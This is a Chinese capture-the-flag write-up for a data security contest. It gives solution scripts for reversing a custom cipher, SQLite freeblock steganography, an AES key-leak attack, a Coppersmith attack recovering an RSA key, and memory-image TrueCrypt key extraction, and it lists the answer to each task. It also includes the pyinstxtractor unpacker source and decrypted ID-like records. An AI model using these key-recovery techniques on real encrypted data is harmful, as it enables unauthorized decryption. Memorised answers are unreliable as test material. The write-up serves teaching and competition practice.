第三届“数信杯”数据安全大赛数据安全个人赛初赛WP
记录第三届“数信杯”数据安全大赛数据安全个人赛初赛部分题的解题过程
第三届“数信杯”数据安全大赛数据安全个人赛初赛
数据安全
第四题
题目描述:工程师小王为了保证数据的安全存储,开发了对数据处理的程序,但这样的处理方式安全吗?分析程序功能,解密文件获取原始数据,提交第6行第2列数据。IDA打开程序

Base64解密即可,第六行数据
MjU3MTA4NzYwNDAgNzE2ODk2MTk4ODI5MDM3NDkzIGFkNzg2MkBiNy5jb20K
答案:716896198829037493
第五题
题目描述:工程师小王认识到前面开发的程序并不能保证对数据的安全存储,现在对处理程序进行了改进,这次能行吗?分析程序功能,解密文件获取原始数据,提交第8行第2列数据。
程序re1e97e14f是64位ELF可执行文件(Linux x86-64,stripped)。通过静态分析确定程序结构:
入口点_start位于0x401190,通过__libc_start_main调用main函数。main函数位于0x401579,负责文件读写和调用核心加密函数。核心加密函数sub_401276位于0x401276,实现三阶段加密处理。
程序执行流程:读取./info_81bedab.ori → 三阶段加密 → 输出./info_81bedab.ori.en
Stage A - 位运算变换(sub_401276内,地址0x4012FE~0x401360):
void stage_a_transform(uint8_t* buf, size_t len) {
for (size_t i = 0; i < len; i++) {
uint8_t b = buf[i];
if (b & 0x80) {
buf[i] = 0xFF;
} else {
buf[i] = b << 1;
}
}
}Stage B - RWX自解密代码执行(sub_401276内,地址0x401360~0x401450):
关键函数调用序列:
- 0x401368: call malloc(0x1000) 申请4KB内存
- 0x401380: call mprotect(page, 0x1000, 7) 设置RWX权限
- 0x4013A0: 从.data段地址0x404060复制0x84(132)字节代码块到RWX页
- 0x4013B8: 获取密钥 state = (uint16_t)(buf + 0x339)
- 0x4013D0: 循环调用RWX代码处理每个字节
void stage_b_process(uint8_t* buf, size_t len, uint8_t* codeblock) {
void* page = malloc(0x1000);
mprotect(page, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
uint16_t state = *(uint16_t*)(buf + 0x339);
for (size_t i = 0; i < len; i++) {
memcpy(page, codeblock, 0x84);
buf[i] = ((raw_fn_t)page)(buf[i], &state);
}
}0x84字节代码块结构(位于.data段0x404060):
0x00-0x08: 入口代码
41 54 push r12
41 53 push r11
e8 45 00 00 00 call +0x45 (跳到0x4e处的解密stub)
0x09-0x4b: 被加密的变换代码 (0x43字节,运行时解密)
0x4e-0x83: 解密stub
41 5b pop r11 ; r11 = 0x09 (被解密代码起始地址)
4d 31 e4 xor r12, r12 ; r12 = 0 (计数器)
45 31 c0 xor r8d, r8d ; r8 = 0 (key索引)
49 83 fc 42 cmp r12, 0x42 ; 比较计数器
77 20 ja +0x20 ; 解密完成则跳转执行
43 0f b6 04 23 movzx eax, byte [r11+r12] ; 读取被加密字节
42 8a 1c 06 mov bl, byte [rsi+r8] ; 读取key字节
30 d8 xor al, bl ; 解密
43 88 04 23 mov byte [r11+r12], al ; 写回
49 ff c4 inc r12 ; 计数器++
41 ff c0 inc r8d ; key索引++
41 83 f8 02 cmp r8d, 2 ; key索引>=2?
72 03 jb +3
45 31 c0 xor r8d, r8d ; 重置key索引
eb da jmp back ; 继续循环
41 ff e3 jmp r11 ; 跳转执行解密后的代码解密后的变换代码(key=0x6E72解密后):
push r12
push r11
dec rdi ; input -= 1
dec rdi ; input -= 2
dec rdi ; input -= 3
mov r12, rdi
and r12, 0xff
and r12, 0x0f ; r12 = (input-3) & 0x0f (低4位)
mov r11, rdi
and r11, 0xff
sar r11, 4
and r11, 0x0f ; r11 = ((input-3) >> 4) & 0x0f (高4位)
shl r12, 4 ; r12 = 低4位 << 4
or r11, r12 ; r11 = 高低4位交换
mov rax, r11
xor al, 0x13 ; al ^= 0x13
add al, 0x04 ; al += 4
inc al ; al += 1
inc al ; al += 1
pop r11
pop r12
ret ; 返回al等效变换函数:
uint8_t stage_b_transform(uint8_t x) {
x = (x - 3) & 0xFF;
uint8_t low = x & 0x0F;
uint8_t high = (x >> 4) & 0x0F;
uint8_t swapped = (low << 4) | high;
return ((swapped ^ 0x13) + 6) & 0xFF;
}Stage C - 循环XOR(sub_401276内,地址0x401450~0x4014A0):
void stage_c_xor(uint8_t* buf, size_t len) {
const char* key = "e6911c24"; // 位于.rodata段0x402008
for (size_t i = 0; i < len; i++) {
buf[i] ^= key[i % 8];
}
}解密算法:
Stage C逆操作:cipher XOR "e6911c24" → B[]
从B[0x339]=0xEB, B[0x33A]=0xAB约束搜索Stage B密钥,得到key=0x6E72
Stage B逆操作:通过逆映射表还原 → A[]
Stage A逆操作:A[i] >> 1 → plaintext[]
验证:A[0x339]=0x72, A[0x33A]=0x6E,与key一致
def read_file(path):
with open(path, 'rb') as f:
return bytearray(f.read())
def write_file(path, data):
with open(path, 'wb') as f:
f.write(data)
STAGE_C_KEY = b'e6911c24'
def stage_b_transform(x):
x = (x - 3) & 0xFF
low = x & 0x0F
high = (x >> 4) & 0x0F
swapped = (low << 4) | high
return ((swapped ^ 0x13) + 6) & 0xFF
def build_inverse_map():
inv = {}
for x in range(256):
y = stage_b_transform(x)
inv[y] = x
return inv
def decrypt(ciphertext):
n = len(ciphertext)
b = bytearray(n)
for i in range(n):
b[i] = ciphertext[i] ^ STAGE_C_KEY[i % len(STAGE_C_KEY)]
inv = build_inverse_map()
a = bytearray(n)
for i in range(n):
a[i] = inv[b[i]]
if n > 0x33A:
embedded = a[0x339] | (a[0x33A] << 8)
print(f"嵌入密钥验证: 0x{embedded:04x} (期望: 0x6e72)")
plaintext = bytearray(n)
for i in range(n):
if a[i] == 0xFF:
plaintext[i] = 0xFF
else:
plaintext[i] = a[i] >> 1
return plaintext
def main():
ciphertext = read_file('info_81bedab.ori.en')
plaintext = decrypt(ciphertext)
write_file('info_81bedab.ori', plaintext)
text = plaintext.decode('utf-8', errors='ignore')
lines = text.strip().split('\n')
print(f"总行数: {len(lines)}")
print(f"第8行: {lines[7]}")
cols = lines[7].split()
print(f"第8行第2列: {cols[1]}")
if __name__ == '__main__':
main()解密成功
26521236624 916669196128159525 ad9a4@1251.com
31120736552 86837719852926676X a783530@8bd.cn
21127906825 806087201524199244 c40895e0@db.cn
25716636941 959051194926157924 0a6d23@619b.com.cn
36515105181 748753197030096350 ab5db6a@6f9.com.cn
25620046684 915195200325039753 9c537e4@769.cn
21019306437 847475201631087779 418daad@96.com
31015006842 878052199921046799 775e82@48.cn
31317166382 919654200427109429 4d717@e11.cn
26719385968 866786198322088149 7d3fa9c@91c.com.cn
26612585979 718970195530045667 8ddd7da@d9.com
25625995308 917485200422256640 37f6e8b@7a.com
36820386251 93855919692213885X 211f5@8c52.cn
25618335686 968881201321078241 311fad@ff63.com
36629546793 765596201422147187 0915ed@f8d.com.cn
31122975293 755793197525019744 82b3701@b1d9.com.cn
21327705629 829473200728048152 557323@8782.com
26528795822 90845920052306971X 58b747@ff1.cn
36713215085 987568201527207083 1ee05b@52.cn
21118185282 926573195328157192 6f143fd0@89b2.com
36612406098 927279198721016966 dfb43@559b.com.cn
25711015289 816859196421256572 408e50@62.com.cn
31318016277 726774196128178583 8ed38ea@55.cn
25625045751 81919419872912515X 6e6d8f2@04.com
36818815752 987380197025069842 36d86672@c3b.com.cn
26623686139 727581200623016621 9f354e@76a7.com
26623836618 938166196129127022 7f0e7d@7b6a.cn
26529655810 816698197631108015 571f56@863.cn
26826586747 729397201924169126 89c978@7888.cn
25818226157 716470195729027627 9900f@db.com
25829775663 766168200022258223 fedc406@a0e5.cn
26821596488 775285200230047589 96620a0@21b5.com.cn
25813645560 938594199221249621 54268a1@84.com.cn
36712865854 917490199431227687 23fe6@7c.cn
25619086737 827276197324236132 367c6d6@a2d.cn
25823516371 977754202021067349 0d2c85@1e08.com.cn
26524815882 897483196327099244 0e8fa31@f3.cn
36820315712 895879199530247758 9ea7a6e@236b.cn
35625856668 736761196322196080 f0de49@df2.com.cn
31017046537 925985200421197527 74490@cbb.com
35623275154 877059198123186577 54dc3@9100.com.cn
36515986681 859677198031269678 75b489@70b.com
31111176241 746382198730126947 d1549783@0c.com.cn
31316056539 87897720002415736X 7fa522f@09.com
21314166239 708986195723279522 d1008743@cf69.com.cn
26629756856 825851201527117988 125f93@7e4.cn
26825836010 866680196725116324 bc84db4@781.com.cn
25829395897 988774198325118554 07aea6@a9.cn
25718195945 718870198231037446 46743b6b@b7b6.cn
31224816379 859078198730189494 d012460d@21.com.cn答案:878052199921046799
第六题
题目描述:某汽车供应链物流中台正在进行季度数据归档,由于归档任务占用了主索引资源,运维团队启用了一套“底层应急索引机制”。该机制并不依赖 SQLite 原生的索引,而是设计了一套自定义的跨页链表协议,将关键筛选逻辑碎片化地存储在数据库文件的物理空闲块 (Freeblocks) 数据区中。 请检查 sys_config 表,获取底层链表的入口指针以及自定义链表节点的结构定义。根据结构定义,从底层物理空间中提取并重组出“特定批次货物筛选脚本”(SQL)。隐写数据位于 SQLite Freeblock 的有效载荷区(跳过 Freeblock 自身的 4 字节头部)。数据经过了异或处理,密钥与所在物理页号有关。运行提取出的脚本,定位出该批次雷达模组所在的 集装箱编号 (container_id) 和 车牌号 (license_plate),最终需要将 container_id 和 license_plate 的后五位数字使用下划线连接提交,例如:CN2877541671_72345。
题目给出一个SQLite数据库文件,提示在Freeblock空闲块中隐藏了自定义链表数据。首先连接数据库查询sys_config表获取三个关键配置:
recovery.pointer: "ERR_PTR: 0000013B:04F0"
recovery.structure: "Struct: >IHH (NextPage, NextOff, Len)"
recovery.encryption: "XOR_PAGE_ID_BE"- 入口指针格式为"物理页号:偏移",页号0x13B=315,偏移0x4F0=1264,该偏移已跳过Freeblock的4字节头部
- 链表节点结构为大端序,NextPage占4字节,NextOff占2字节,Len占2字节
- 加密方式为使用当前物理页号的大端4字节表示循环异或
SQLite文件头偏移16-17处读取页大小为4096字节。链表遍历算法:从入口页315偏移1264开始,读取8字节头部解析出NextPage、
NextOff、Len,然后读取Len字节的加密数据,用struct.pack('>I', current_page)生成4字节密钥循环XOR解密。当NextPage=0且
NextOff=0时链表结束。
解密拼接后得到完整SQL脚本:
SELECT t1.container_id, t2.license_plate
FROM orders t1
JOIN drivers t2 ON t1.driver_id = t2.driver_id
WHERE t1.route_path LIKE '%深圳转运中心%'
AND t1.weight_kg BETWEEN 45.50 AND 45.60
AND t2.phone LIKE '%9527'
AND t1.handling_code = 'LIDAR_QC_HOLD';
执行该SQL查询得到container_id=CN2888991777,license_plate=粤B-52816,按题目要求提取container_id和license_plate后五位数字
用下划线连接。
答案:CN2888991777_52816
第七题
题目描述:某加密产品采用标准算法进行数据安全防护,某安全研究员通过逆向分析得到该产品的代码后发现,这段代码模拟了某商用密码库接口中可能存在的双重填充场景。请分析题目提供的代码文件,基于截获的密文及侧信道数据,恢复原始数据。题目实现了一个存在漏洞的AES-CBC加密,核心代码如下:
def padding(msg):
tmp = 16 - len(msg) % 16
pad = format(tmp, '02x')
return bytes.fromhex(pad * tmp) + msg
message = padding(flag)
hint = bytes_to_long(key) ^ bytes_to_long(message[:16])
message = pad(message, 16, 'pkcs7')
IV = os.urandom(16)
encryption = AES.new(key, AES.MODE_CBC, iv=IV)
enc = encryption.encrypt(message)漏洞在于hint泄露了key与message前16字节的异或值。
对于38字节的flag,自定义padding函数会在前面添加10个\x0a字节,得到48字节。PKCS7填充后变成64字节(4块)。
消息结构为:
- Block 0: \x0a*10 + flag[0:6]
- Block 1: flag[6:22]
- Block 2: flag[22:38]
- Block 3: \x10*16
由于flag[:5]=b'flag{'已知,只需爆破flag[5]一个字符即可恢复完整key。验证方法是检查解密后最后一块是否为\x10*16。
利用CBC模式特性,后续块使用前一块密文作为IV解密,可恢复完整flag。
from Crypto.Cipher import AES
import string
enc = bytes.fromhex('1ce1df3812668ce0bccd86c146cc56989681e128edd0676f5d26e01abdee90c860e22a5a491f94ac5ca3ab02242740fb8c35a3b60ea737ca0d2662fba2b0e299')
hint = bytes.fromhex('32393f4e3c3c4f3e323a512a5356437d')
blocks = [enc[i:i+16] for i in range(0, 64, 16)]
for c in string.printable.strip():
msg_block0 = b'\x0a' * 10 + b'flag{' + c.encode()
key = bytes([h ^ m for h, m in zip(hint, msg_block0)])
cipher = AES.new(key, AES.MODE_ECB)
dec3 = cipher.decrypt(blocks[3])
plain3 = bytes([d ^ c for d, c in zip(dec3, blocks[2])])
if plain3 == b'\x10' * 16:
dec2 = cipher.decrypt(blocks[2])
plain2 = bytes([d ^ c for d, c in zip(dec2, blocks[1])])
dec1 = cipher.decrypt(blocks[1])
plain1 = bytes([d ^ c for d, c in zip(dec1, blocks[0])])
flag = b'flag{' + c.encode() + plain1 + plain2
print(flag.decode())
break答案:flag{IADMIN-TOP-18880101-7634567_2025}
第八题
题目描述:某公司截获到密钥文件以及脱敏后的文件,发现密钥文件中的参数存在异常情况,结合密钥文件提供分析,发现可能采用变异RSA算法针对重要文件进行脱敏处理。请结合提供附件内容,进行分析并脱敏恢复,找到PhoneNumber为17962732783对应的id、IndentificationCard、BankCard,并以_进行连接并提交。如id为1,IndentificationCard为2345,BankCard为6789,最终提交1_2345_6789。题目提供损坏的RSA私钥key_pri.pem和加密用户数据encrypted_users.csv。解析私钥DER编码发现大量参数被零填充,属于"变异RSA"私钥恢
复问题。
私钥ASN.1结构解析:
30 82 02 5a -- SEQUENCE
02 01 00 -- version = 0
02 81 81 00 a3.. -- n (129字节,1024位模数)
02 03 01 00 01 -- e = 65537
02 81 80 6d 00.. -- d (128字节,仅首字节0x6d有效)
02 3f 00 9d 02.. -- dp (63字节,含p的高位信息)
02 41 00 aa 00.. -- dq (65字节,仅首字节0xaa有效)
02 40 16 00.. -- qinv
02 40 12 00.. -- 额外字段从dp字段提取p的部分高位(496位已知,低48位为0):
p_high =
0x9d025160d56d4971363f3cf2ce7e3e96215c50bf50d0cc606f5645de7ec113d16d931383e649bc2c7328499d219e2982b726ae41c5370
aa8000000000000
使用Coppersmith小根攻击恢复p的完整值。设p = p_high + x + y*2^496,其中x为低位未知部分(约48位),y为高位修正(约16位)。构
造格基,利用LLL算法求解满足p | n的小根。
cuso库求解代码:
x = var('x')
y = var('y')
f = x + p_high + y * 2**496
relations = [f]
bounds = {x: (0, 2**65), y: (0, 2**16)}
roots = cuso.find_small_roots(relations, bounds, modulus="p", modulus_multiple=n, modulus_lower_bound=2**511)恢复完整p =
0xf5e49d025160d56d4971363f3cf2ce7e3e96215c50bf50d0cc606f5645de7ec113d16d931383e649bc2c7328499d219e2982b726ae41c
5370aab851b8a28df37
验证:n mod p = 0,p为512位素数。计算q = n/p,d = e^(-1) mod (p-1)(q-1),构建RSA私钥,使用PKCS1_OAEP解密查找目标记录。
from Crypto.Util.number import inverse
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
import csv
e = 65537
n = int('a37afdb7661804f4719e095d4f1717f531cb380155f4929da65c8a449165edad0fc9c2db2ad7bd924251f1694100c10f9bb4fedd37bf6a6b4bf410cad1b15eb6a3b1015b0b3bbbae6d4e4ed914d9721f9cc8c8640afb3a35bc30b16194d0cc4e7107e4cea6526fe17aa06bdbc9fb1e6d47fe5902005136d9b705c784d2011db9', 16)
# Coppersmith恢复的完整p
p = 12878462475668980891688458616261003784858831336454571583609952190632795271670483299149893444276645867537740745994784742224790817486061554912749320101486391
q = n // p
d = inverse(e, (p-1)*(q-1))
key = RSA.construct((n, e, d, p, q))
cipher = PKCS1_OAEP.new(key)
def decrypt_field(encrypted_b64):
encrypted_data = base64.b64decode(encrypted_b64)
return cipher.decrypt(encrypted_data).decode('utf-8')
with open('encrypted_users.csv', 'r', encoding='utf-8') as f:
reader = csv.DictReader(f)
for row in reader:
if decrypt_field(row['PhoneNumber']) == '17962732783':
print(row['id'] + '_' + decrypt_field(row['IndentificationCard']) + '_' + decrypt_field(row['BankCard']))
break答案:294_010880753296303612_5108757973927325
第九题
题目描述:分析题目附件,获取陈淑华编号信息进行提交。
答案:S20251001
第十题
题目描述:某黑客团伙将核心机密(flag)隐藏在一张普通图片中,并通过多模态 AI 模型建立了 “图片特征→流量特征” 的映射关系。该模型可将图片中的隐写特征转换为流量特征,而这些流量特征直接编码了 flag。现提供图片、AI 模型及提示信息,请你破解隐写信息,调用模型转换特征,最终还原出 flag。题目提供了三个文件:secret_image.png(隐写图片)、multimodal_model.pth(PyTorch模型权重)和stego_hint.txt(提示文件)。
根据提示文件,隐写规则如下:
- 图片的R通道中隐藏了模型输入特征
- 取图片左上角前20个像素的R值,计算 R值 mod 10 得到20维特征向量
- 将20维特征输入MLP模型,输出数值四舍五入取整即为flag的ASCII码
- ASCII码转换为字符得到完整flag
关键点在于"左上角前20个像素"的取法:按扫描顺序取第一列从上到下的20个像素(x=0, y=0..19)。
模型结构为3层全连接神经网络(MLP):20->64->32->27,使用ReLU激活函数。输出27维向量对应flag的27个字符。
import torch
import torch.nn as nn
import numpy as np
from PIL import Image
# 读取图片,提取左上角第一列前20个像素的R值
img = np.array(Image.open("secret_image.png").convert("RGB"))
feat = [(int(img[y, 0, 0]) % 10) for y in range(20)]
# 定义MLP模型结构:20->64->32->27
class MLP(nn.Module):
def __init__(self):
super().__init__()
self.fc1 = nn.Linear(20, 64)
self.fc2 = nn.Linear(64, 32)
self.fc3 = nn.Linear(32, 27)
self.relu = nn.ReLU()
def forward(self, x):
x = self.relu(self.fc1(x))
x = self.relu(self.fc2(x))
return self.fc3(x)
# 加载模型权重
sd = torch.load("multimodal_model.pth", map_location="cpu")
m = MLP()
m.load_state_dict(sd)
m.eval()
# 推理并转换为flag
x = torch.tensor(feat, dtype=torch.float32).unsqueeze(0)
with torch.no_grad():
y = m(x).squeeze(0).numpy()
flag = "".join(chr(int(round(v))) for v in y)
print(flag)答案:flag{A12I_shu1xin2bei_2025}
数据分析
数据应急
题目背景: 一家科技公司服务器被黑客入侵,重要文件被窃取并删除。需要根据系统自动备份的残存内容进行溯源分析。
第一题

三个文件全部导出
任务:从备份磁盘中恢复黑客删除的文件,找出合同文件中的合同编号。
答案格式:xx-xx-xx(去掉flag{}包装)
答案:HT-2025-001234
第二题
任务:恢复的文件中存在加密文件,需要绕过验证直接读取加密内容,找出密码本内容。
答案格式:xxxxxx(去掉flag{}包装)解压压缩包,得到一个内存镜像
非预期
直接搜索flag{

预期解

发现有C:\Program Files\TrueCrypt\TrueCrypt.exe
Elcomsoft Forensic Disk Decryptor挂载
加载内存镜像先搜索一下key
BEGIN KEYS SEARCH
Progress: 100% [ 2048 of 2048 MB]
END SEARCHING
Time: 52 seconds.
Search result:
Algorithm: 'PGP' Volume Master Key (AES-128)
Key data (hex): b97a2e63bafa30708dc9c7f73b261650
Algorithm: 'PGP' Volume Master Key (AES-128)
Key data (hex): ad4391bc8e8157ed4e5b01a8fa669f1f
Algorithm: 'TrueCrypt' Volume Master Keys
Key data (hex): 010000006f29f27ae72a4af53b2bd1134d2bcc31fbec74da4a42cacb05c7e47f7c60233c70479358a87658331b157625f077974d1f716f8f476fbc0200b1c85882c245670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003463181eaf24bf421a0caf0b0876404fcdf06e25d0d11d8b28c3f316ba687a2824e6875c2db9e13d2a6e8005ab67aa7f2877b0afb488a896281f388d232591910000000000000200000000000000fc1f00000000
Algorithm: 'PGP' Volume Master Key (AES-256)
Key data (hex): 6f29f27ae72a4af53b2bd1134d2bcc31fbec74da4a42cacb05c7e47f7c60233c
Algorithm: 'PGP' Volume Master Key (AES-256)
Key data (hex): bfd3af2536b0744173bf44dc210789f3ad604543515e27edcef8e6b3c508be5f
Algorithm: 'PGP' Volume Master Key (AES-256)
Key data (hex): 70479358a87658331b157625f077974d1f716f8f476fbc0200b1c85882c24567保存1.evk

成功挂载

答案:flag{33c3789a36bb61beb6d4268cd7d13038}
第三题
任务:加密文件中有流量包,分析黑客攻击流量,找出泄露的用户信息。
答案格式:提交手机号 18316978925 对应的家庭住址
示例:四川省成都市锦江区学府路159号和谐苑23栋5单元22室过滤响应200的包

最后一个包发现是exe程序

导出来看看
解包
from __future__ import print_function
import os
import struct
import marshal
import zlib
import sys
from uuid import uuid4 as uniquename
class CTOCEntry:
def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name):
self.position = position
self.cmprsdDataSize = cmprsdDataSize
self.uncmprsdDataSize = uncmprsdDataSize
self.cmprsFlag = cmprsFlag
self.typeCmprsData = typeCmprsData
self.name = name
class PyInstArchive:
PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0
PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+
MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller
def __init__(self, path):
self.filePath = path
self.pycMagic = b'\0' * 4
self.barePycList = [] # List of pyc's whose headers have to be fixed
def open(self):
try:
self.fPtr = open(self.filePath, 'rb')
self.fileSize = os.stat(self.filePath).st_size
except:
print('[!] Error: Could not open {0}'.format(self.filePath))
return False
return True
def close(self):
try:
self.fPtr.close()
except:
pass
def checkFile(self):
print('[+] Processing {0}'.format(self.filePath))
searchChunkSize = 8192
endPos = self.fileSize
self.cookiePos = -1
if endPos < len(self.MAGIC):
print('[!] Error : File is too short or truncated')
return False
while True:
startPos = endPos - searchChunkSize if endPos >= searchChunkSize else 0
chunkSize = endPos - startPos
if chunkSize < len(self.MAGIC):
break
self.fPtr.seek(startPos, os.SEEK_SET)
data = self.fPtr.read(chunkSize)
offs = data.rfind(self.MAGIC)
if offs != -1:
self.cookiePos = startPos + offs
break
endPos = startPos + len(self.MAGIC) - 1
if startPos == 0:
break
if self.cookiePos == -1:
print('[!] Error : Missing cookie, unsupported pyinstaller version or not a pyinstaller archive')
return False
self.fPtr.seek(self.cookiePos + self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
if b'python' in self.fPtr.read(64).lower():
print('[+] Pyinstaller version: 2.1+')
self.pyinstVer = 21 # pyinstaller 2.1+
else:
self.pyinstVer = 20 # pyinstaller 2.0
print('[+] Pyinstaller version: 2.0')
return True
def getCArchiveInfo(self):
try:
if self.pyinstVer == 20:
self.fPtr.seek(self.cookiePos, os.SEEK_SET)
# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, pyver) = \
struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE))
elif self.pyinstVer == 21:
self.fPtr.seek(self.cookiePos, os.SEEK_SET)
# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, pyver, pylibname) = \
struct.unpack('!8sIIii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE))
except:
print('[!] Error : The file is not a pyinstaller archive')
return False
self.pymaj, self.pymin = (pyver//100, pyver%100) if pyver >= 100 else (pyver//10, pyver%10)
print('[+] Python version: {0}.{1}'.format(self.pymaj, self.pymin))
# Additional data after the cookie
tailBytes = self.fileSize - self.cookiePos - (self.PYINST20_COOKIE_SIZE if self.pyinstVer == 20 else self.PYINST21_COOKIE_SIZE)
# Overlay is the data appended at the end of the PE
self.overlaySize = lengthofPackage + tailBytes
self.overlayPos = self.fileSize - self.overlaySize
self.tableOfContentsPos = self.overlayPos + toc
self.tableOfContentsSize = tocLen
print('[+] Length of package: {0} bytes'.format(lengthofPackage))
return True
def parseTOC(self):
# Go to the table of contents
self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET)
self.tocList = []
parsedLen = 0
# Parse table of contents
while parsedLen < self.tableOfContentsSize:
(entrySize, ) = struct.unpack('!i', self.fPtr.read(4))
nameLen = struct.calcsize('!iIIIBc')
(entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \
struct.unpack( \
'!IIIBc{0}s'.format(entrySize - nameLen), \
self.fPtr.read(entrySize - 4))
try:
name = name.decode("utf-8").rstrip("\0")
except UnicodeDecodeError:
newName = str(uniquename())
print('[!] Warning: File name {0} contains invalid bytes. Using random name {1}'.format(name, newName))
name = newName
# Prevent writing outside the extraction directory
if name.startswith("/"):
name = name.lstrip("/")
if len(name) == 0:
name = str(uniquename())
print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name))
self.tocList.append( \
CTOCEntry( \
self.overlayPos + entryPos, \
cmprsdDataSize, \
uncmprsdDataSize, \
cmprsFlag, \
typeCmprsData, \
name \
))
parsedLen += entrySize
print('[+] Found {0} files in CArchive'.format(len(self.tocList)))
def _writeRawData(self, filepath, data):
nm = filepath.replace('\\', os.path.sep).replace('/', os.path.sep).replace('..', '__')
nmDir = os.path.dirname(nm)
if nmDir != '' and not os.path.exists(nmDir): # Check if path exists, create if not
os.makedirs(nmDir)
with open(nm, 'wb') as f:
f.write(data)
def extractFiles(self):
print('[+] Beginning extraction...please standby')
extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted')
if not os.path.exists(extractionDir):
os.mkdir(extractionDir)
os.chdir(extractionDir)
for entry in self.tocList:
self.fPtr.seek(entry.position, os.SEEK_SET)
data = self.fPtr.read(entry.cmprsdDataSize)
if entry.cmprsFlag == 1:
try:
data = zlib.decompress(data)
except zlib.error:
print('[!] Error : Failed to decompress {0}'.format(entry.name))
continue
# Malware may tamper with the uncompressed size
# Comment out the assertion in such a case
assert len(data) == entry.uncmprsdDataSize # Sanity Check
if entry.typeCmprsData == b'd' or entry.typeCmprsData == b'o':
# d -> ARCHIVE_ITEM_DEPENDENCY
# o -> ARCHIVE_ITEM_RUNTIME_OPTION
# These are runtime options, not files
continue
basePath = os.path.dirname(entry.name)
if basePath != '':
# Check if path exists, create if not
if not os.path.exists(basePath):
os.makedirs(basePath)
if entry.typeCmprsData == b's':
# s -> ARCHIVE_ITEM_PYSOURCE
# Entry point are expected to be python scripts
print('[+] Possible entry point: {0}.pyc'.format(entry.name))
if self.pycMagic == b'\0' * 4:
# if we don't have the pyc header yet, fix them in a later pass
self.barePycList.append(entry.name + '.pyc')
self._writePyc(entry.name + '.pyc', data)
elif entry.typeCmprsData == b'M' or entry.typeCmprsData == b'm':
# M -> ARCHIVE_ITEM_PYPACKAGE
# m -> ARCHIVE_ITEM_PYMODULE
# packages and modules are pyc files with their header intact
# From PyInstaller 5.3 and above pyc headers are no longer stored
# https://github.com/pyinstaller/pyinstaller/commit/a97fdf
if data[2:4] == b'\r\n':
# < pyinstaller 5.3
if self.pycMagic == b'\0' * 4:
self.pycMagic = data[0:4]
self._writeRawData(entry.name + '.pyc', data)
else:
# >= pyinstaller 5.3
if self.pycMagic == b'\0' * 4:
# if we don't have the pyc header yet, fix them in a later pass
self.barePycList.append(entry.name + '.pyc')
self._writePyc(entry.name + '.pyc', data)
else:
self._writeRawData(entry.name, data)
if entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z':
self._extractPyz(entry.name)
# Fix bare pyc's if any
self._fixBarePycs()
def _fixBarePycs(self):
for pycFile in self.barePycList:
with open(pycFile, 'r+b') as pycFile:
# Overwrite the first four bytes
pycFile.write(self.pycMagic)
def _writePyc(self, filename, data):
with open(filename, 'wb') as pycFile:
pycFile.write(self.pycMagic) # pyc magic
if self.pymaj >= 3 and self.pymin >= 7: # PEP 552 -- Deterministic pycs
pycFile.write(b'\0' * 4) # Bitfield
pycFile.write(b'\0' * 8) # (Timestamp + size) || hash
else:
pycFile.write(b'\0' * 4) # Timestamp
if self.pymaj >= 3 and self.pymin >= 3:
pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3
pycFile.write(data)
def _extractPyz(self, name):
dirName = name + '_extracted'
# Create a directory for the contents of the pyz
if not os.path.exists(dirName):
os.mkdir(dirName)
with open(name, 'rb') as f:
pyzMagic = f.read(4)
assert pyzMagic == b'PYZ\0' # Sanity Check
pyzPycMagic = f.read(4) # Python magic value
if self.pycMagic == b'\0' * 4:
self.pycMagic = pyzPycMagic
elif self.pycMagic != pyzPycMagic:
self.pycMagic = pyzPycMagic
print('[!] Warning: pyc magic of files inside PYZ archive are different from those in CArchive')
# Skip PYZ extraction if not running under the same python version
if self.pymaj != sys.version_info.major or self.pymin != sys.version_info.minor:
print('[!] Warning: This script is running in a different Python version than the one used to build the executable.')
print('[!] Please run this script in Python {0}.{1} to prevent extraction errors during unmarshalling'.format(self.pymaj, self.pymin))
print('[!] Skipping pyz extraction')
return
(tocPosition, ) = struct.unpack('!i', f.read(4))
f.seek(tocPosition, os.SEEK_SET)
try:
toc = marshal.load(f)
except:
print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name))
return
print('[+] Found {0} files in PYZ archive'.format(len(toc)))
# From pyinstaller 3.1+ toc is a list of tuples
if type(toc) == list:
toc = dict(toc)
for key in toc.keys():
(ispkg, pos, length) = toc[key]
f.seek(pos, os.SEEK_SET)
fileName = key
try:
# for Python > 3.3 some keys are bytes object some are str object
fileName = fileName.decode('utf-8')
except:
pass
# Prevent writing outside dirName
fileName = fileName.replace('..', '__').replace('.', os.path.sep)
if ispkg == 1:
filePath = os.path.join(dirName, fileName, '__init__.pyc')
else:
filePath = os.path.join(dirName, fileName + '.pyc')
fileDir = os.path.dirname(filePath)
if not os.path.exists(fileDir):
os.makedirs(fileDir)
try:
data = f.read(length)
data = zlib.decompress(data)
except:
print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(filePath))
open(filePath + '.encrypted', 'wb').write(data)
else:
self._writePyc(filePath, data)
def main():
if len(sys.argv) < 2:
print('[+] Usage: pyinstxtractor.py <filename>')
else:
arch = PyInstArchive(sys.argv[1])
if arch.open():
if arch.checkFile():
if arch.getCArchiveInfo():
arch.parseTOC()
arch.extractFiles()
arch.close()
print('[+] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1]))
print('')
